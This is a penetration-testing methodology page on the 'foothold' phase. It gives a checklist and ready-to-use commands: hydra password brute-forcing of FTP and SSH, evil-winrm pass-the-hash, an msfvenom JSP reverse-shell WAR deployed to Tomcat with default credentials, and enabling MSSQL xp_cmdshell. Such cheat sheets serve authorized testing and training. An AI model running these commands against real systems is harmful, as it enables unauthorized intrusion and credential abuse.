Post

02 — Foothold

Foothold phase methodology — service-based entry points, CVE exploitation workflow, default credential checks, and web application entry vectors.

02 — Foothold

📁 Source: github.com/sireton/pentest-vault/02-Foothold
← Back to Methodology Index


#foothold #phase

Checklist

  • Review all open services from recon
  • Check default/weak credentials on all services
  • Search for known CVEs (searchsploit, ExploitDB, NVD)
  • Check for anonymous access (FTP, SMB, NFS, LDAP)
  • Review any web applications found
  • Check for exposed sensitive files/endpoints
  • Test for common web vulns if web app present

Service-Based Entry Points

FTP (Port 21)

1
2
3
ftp <IP>   # user: anonymous, pass: anything
wget -r ftp://<IP>/ --ftp-user=anonymous --ftp-password=anon
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ftp://<IP>

SSH (Port 22)

1
2
3
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<IP>
ssh -i id_rsa user@<IP>
ssh -v user@<IP>   # Enum auth methods

WinRM (Port 5985/5986)

1
2
evil-winrm -i <IP> -u <user> -p <password>
evil-winrm -i <IP> -u <user> -H <NTLMhash>

Tomcat (Port 8080)

1
2
3
# Default creds: admin:admin, tomcat:tomcat, admin:s3cret
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=4444 -f war -o shell.war
curl -u 'tomcat:s3cret' -T shell.war 'http://<IP>:8080/manager/text/deploy?path=/shell'

MSSQL (Port 1433)

1
2
3
4
impacket-mssqlclient <user>:<pass>@<IP>
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

MySQL (Port 3306)

1
2
3
4
mysql -u root -p -h <IP>
SHOW databases;
USE <db>; SHOW tables;
SELECT * FROM users;

CVE Exploitation Workflow

1
2
3
searchsploit <service> <version>
searchsploit -m <EDB-ID>
# Metasploit: msfconsole → search → use → set RHOSTS → run

See also: [[06-Web-Attacks/Web Attacks Index]] | [[01-Recon/Recon Index]]


Previous: Methodology Recon · Next: Methodology Post Exploitation

This post is licensed under CC BY 4.0 by the author.